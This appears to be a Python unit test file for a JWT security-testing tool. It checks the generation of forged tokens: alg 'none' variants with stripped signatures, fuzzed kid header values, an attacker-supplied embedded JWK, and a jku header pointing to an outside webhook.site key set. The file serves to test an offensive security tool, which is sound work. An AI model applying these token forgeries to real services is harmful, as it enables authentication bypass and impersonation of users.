-
Notifications
You must be signed in to change notification settings - Fork 1
/
testAttacks.py
158 lines (143 loc) · 10.1 KB
/
testAttacks.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
import unittest
import json
import utils
from Attack import Attack
from TestJWT import TestJWT
from cryptography.hazmat.primitives.serialization import (
load_pem_private_key
)
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.asymmetric.rsa import (
RSAPublicKey, RSAPrivateKey
)
class TestAttacks(unittest.TestCase):
def test_attack_alg_none(self):
ser_jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.\
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.\
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
test_jwt: TestJWT = TestJWT.deserialize(ser_jwt)
attack = Attack(ser_jwt)
attack.attack_none()
attacks = attack.payloads
self.assertEqual(len(attacks), 3)
self.assertEqual(attacks['attack_alg_none'],
"eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0"
".eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.")
self.assertEqual(attacks['attack_alg_None'],
"eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0"
".eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.")
self.assertEqual(attacks['attack_alg_NONE'],
"eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0"
".eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.")
# TODO missing attack_signature_deception
def test_attack_payload(self):
header = "eyJhbGciOiJIUzI1NiIsImtpZCI6Im15X2tleSIsInR5cCI6IkpXVCJ9"
payload = "eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ"
signature = "-HQAruitA6V6IPPAFmo5nGpFVp2zvb3rF9fwkDiCVI0"
token_kid = ".".join([header, payload, signature])
# sample snippet from payload https://raw.githubusercontent.com/fuzzdb-project/fuzzdb/master/attack/json/JSON_Fuzzing.txt
attack = Attack(token_kid)
attack.attack_payload("./test_resources/fuzzdb_json_snippet.txt")
attacks = attack.payloads
self.assertEqual(len(attacks), 4)
expected_header1 = {"alg": "HS256", "kid": "{\"1\":\"0\"}", "typ": "JWT"}
header1 = json.loads(utils.base64url_decode(attacks['attack_payload_1'].split(".")[0]))
self.assertEqual(expected_header1, header1)
self.assertEqual(payload, attacks['attack_payload_1'].split(".")[1])
self.assertEqual(signature, attacks['attack_payload_1'].split(".")[2])
expected_header2 = {"alg": "HS256", "kid": "{\"1\":0}", "typ": "JWT"}
header2 = json.loads(utils.base64url_decode(attacks['attack_payload_2'].split(".")[0]))
self.assertEqual(expected_header2, header2)
self.assertEqual(payload, attacks['attack_payload_2'].split(".")[1])
self.assertEqual(signature, attacks['attack_payload_2'].split(".")[2])
expected_header3 = {"alg": "HS256", "kid": "{\"0\":\"\\x00\"}", "typ": "JWT"}
header3 = json.loads(utils.base64url_decode(attacks['attack_payload_3'].split(".")[0]))
self.assertEqual(expected_header3, header3)
self.assertEqual(payload, attacks['attack_payload_3'].split(".")[1])
self.assertEqual(signature, attacks['attack_payload_3'].split(".")[2])
expected_header4 = {"alg": "HS256", "kid": "{\"0\":[1,2]}", "typ": "JWT"}
header4 = json.loads(utils.base64url_decode(attacks['attack_payload_4'].split(".")[0]))
self.assertEqual(expected_header4, header4)
self.assertEqual(payload, attacks['attack_payload_4'].split(".")[1])
self.assertEqual(signature, attacks['attack_payload_4'].split(".")[2])
def test_attack_pubkey_deception_jwk(self):
rsa256_token_header = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9"
rsa256_token_payload = "eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ"
rsa256_token_signature = "ZR8EJ-ssd7b3Z9ZrCODkK_tJvOVXNZbcUn_FQAbLlKjPdEkNNCP_i5h84QfRXA8cWu1Z83UOb25Oogw0GIE9k-Q4AJO-BwEC2muHKRdzgHGrO6_2abeFJxAZapSf4ww39UlGzYX22b2kRYECLmsVaa0NV1KyQIf147h460wDGDr1wd2OCvUZXYULA_vzzRo3HHX440XOx_CnBvrR7shqnIjOLycEG61Ganq6oJsujVXHTQUtKdNB1Amu9NEQRRQzYWSTLuUMwV9mJnCuyr9bWp5srd3VPOC1bMXU2UgJiauw8eYu_w2_bbgZOn0jwajiygkfuJXNJGi8k_09sJmJ0w"
rsa_token_ser = ".".join([rsa256_token_header, rsa256_token_payload, rsa256_token_signature])
rsa_token = TestJWT.deserialize(rsa_token_ser)
self.assertEqual("RS256", rsa_token.get_algorithm())
self.assertEqual("JWT", rsa_token.header['typ'])
self.assertEqual(2, len(rsa_token.header))
self.assertEqual("1234567890", rsa_token.payload['sub'])
self.assertEqual("John Doe", rsa_token.payload['name'])
self.assertEqual(1516239022, rsa_token.payload['iat'])
self.assertEqual(3, len(rsa_token.payload))
pk: RSAPrivateKey = load_pem_private_key(utils.read_pem_file("./keys/pk1.pem"), None, default_backend())
pubkey: RSAPublicKey = pk.public_key()
self.assertTrue(rsa_token.verify_signature(pubkey, utils.base64url_decode(rsa256_token_signature)))
rsa_token_jwk = TestJWT.deserialize(rsa_token_ser)
kid = "my_own_key"
attack = Attack(rsa_token_ser)
attack.attack_pubkey_deception_jwk(pk, kid)
payloads = attack.payloads
rsa_token_jwk = TestJWT.deserialize(payloads['attack_pubkey_deception_jwk'])
self.assertEqual("RS256", rsa_token_jwk.get_algorithm())
self.assertEqual("JWT", rsa_token_jwk.header['typ'])
self.assertEqual("RSA", rsa_token_jwk.header['jwk']['kty'])
self.assertEqual(kid, rsa_token_jwk.header['jwk']['kid'])
self.assertEqual("sig", rsa_token_jwk.header['jwk']['use'])
e = pk.public_key().public_numbers().e
n = pk.public_key().public_numbers().n
expected_n = utils.force_unicode(utils.base64url_encode(n.to_bytes((n.bit_length() + 7) // 8, byteorder='big')))
expected_e = utils.force_unicode(utils.base64url_encode(e.to_bytes((e.bit_length() + 7) // 8, byteorder='big')))
self.assertEqual(expected_n, rsa_token_jwk.header['jwk']['n'])
self.assertEqual(expected_e, rsa_token_jwk.header['jwk']['e'])
self.assertEqual(3, len(rsa_token_jwk.header))
self.assertEqual("1234567890", rsa_token_jwk.payload['sub'])
self.assertEqual("John Doe", rsa_token_jwk.payload['name'])
self.assertEqual(1516239022, rsa_token_jwk.payload['iat'])
self.assertEqual(3, len(rsa_token_jwk.payload))
rsa_token_jwk_signature = rsa_token_jwk.compute_signature(pk)
self.assertTrue(rsa_token_jwk.verify_signature(pubkey, utils.base64url_decode(rsa_token_jwk_signature)))
expected_signature = "jheDPqm8kxisAUcuDX-gHdTEIQDan_qRphZddj2VkcW-wJbVARly1Wzaw4of96Dl0xJXqJBV_kKG5UmmEiiEjQWUZzY4_XuZmI_STEf7FvVe_OPbN6fmyzGJQZSJVaoXTMYw8_yhQ1fIip6ctGVKrt6752RolratwDsYVZawQ1J9V3WIioPvXjQoyEGbothy7yOxemZXB71SMcQ-mmLKc8v0mirA8kyR8Wg0lw_JkRVRbViItn6SMFg2_Fuf12P1rkxx2qo3BVPzvgz1Nln4U8kFe2HGdtpc2IMTrAvzO0hOhc8cBe2-9HZJAFdGd_6SPhkp1VVlx-qTIL2y0EqH4Q"
self.assertEqual(expected_signature, utils.force_unicode(rsa_token_jwk_signature))
def test_attack_pubkey_deception_jku(self):
rsa256_token_header = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9"
rsa256_token_payload = "eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ"
rsa256_token_signature = "ZR8EJ-ssd7b3Z9ZrCODkK_tJvOVXNZbcUn_FQAbLlKjPdEkNNCP_i5h84QfRXA8cWu1Z83UOb25Oogw0GIE9k-Q4AJO-BwEC2muHKRdzgHGrO6_2abeFJxAZapSf4ww39UlGzYX22b2kRYECLmsVaa0NV1KyQIf147h460wDGDr1wd2OCvUZXYULA_vzzRo3HHX440XOx_CnBvrR7shqnIjOLycEG61Ganq6oJsujVXHTQUtKdNB1Amu9NEQRRQzYWSTLuUMwV9mJnCuyr9bWp5srd3VPOC1bMXU2UgJiauw8eYu_w2_bbgZOn0jwajiygkfuJXNJGi8k_09sJmJ0w"
rsa_token_ser = ".".join([rsa256_token_header, rsa256_token_payload, rsa256_token_signature])
rsa_token = TestJWT.deserialize(rsa_token_ser)
self.assertEqual("RS256", rsa_token.get_algorithm())
self.assertEqual("JWT", rsa_token.header['typ'])
self.assertEqual(2, len(rsa_token.header))
self.assertEqual("1234567890", rsa_token.payload['sub'])
self.assertEqual("John Doe", rsa_token.payload['name'])
self.assertEqual(1516239022, rsa_token.payload['iat'])
self.assertEqual(3, len(rsa_token.payload))
pk: RSAPrivateKey = load_pem_private_key(utils.read_pem_file("./keys/pk1.pem"), None, default_backend())
pubkey: RSAPublicKey = pk.public_key()
self.assertTrue(rsa_token.verify_signature(pubkey, utils.base64url_decode(rsa256_token_signature)))
rsa_token_jwk = TestJWT.deserialize(rsa_token_ser)
kid = "my_own_key"
jku = "https://webhook.site/4820366e-4acf-4492-8b8b-2fd4e0b26be2"
attack = Attack(rsa_token_ser)
attack.attack_pubkey_deception_jku(pk, jku, jwt=None, kid=kid)
ser_rsa_token_jwk = attack.payloads['attack_pubkey_deception_jku']
rsa_token_jwk = TestJWT.deserialize(ser_rsa_token_jwk)
jku_signature = TestJWT.split_jwt(ser_rsa_token_jwk)[2]
expected_signature = "e5xKg2xAMXeDD2BLCYAaSueV3wuKMeqSl0YPXaL1y84Z2uDZiwLGLUV92Pmcl7qfhWjJtJQ-LXn2g95-lU5kOXkj9Si1onsVk3ZUHcXQcAKRrY1B2KFe4IbCBhQFpiI34Sm6Xr8MrqjrPrILYvhXE8ZLEBxDG_JebWOqL3H6Hef09J-rvb1XJqqLtHj7vpvuKmll7vG8LHM8BKws1GyVfzkqk3jvmUGJCF3lWQ4npXI2eSc5aGxGWJEkd3XpFkMUriWk0bkKwYyF3VTr1VfSlEq5xkiX-WA92psXRQZsjEX90sL5-qYKLzrvdBqhssL1T5LQAAGAkXAwLFqXGZ5NUw"
self.assertEqual(expected_signature, jku_signature)
self.assertEqual("RS256", rsa_token_jwk.get_algorithm())
self.assertEqual("JWT", rsa_token_jwk.header['typ'])
self.assertEqual(kid, rsa_token_jwk.header['kid'])
self.assertEqual(jku, rsa_token_jwk.header['jku'])
self.assertEqual("1234567890", rsa_token_jwk.payload['sub'])
self.assertEqual("John Doe", rsa_token_jwk.payload['name'])
self.assertEqual(1516239022, rsa_token_jwk.payload['iat'])
self.assertEqual(3, len(rsa_token_jwk.payload))
jwks = json.loads(attack.payloads['attack_pubkey_deception_jku_jwks'])
jku_pubkey: RSAPublicKey = utils.rsa_jwks_to_pubkey(jwks, kid)
rsa_token_jwk.verify_signature(jku_pubkey, utils.base64url_decode(jku_signature))
if __name__ == '__main__':
unittest.main()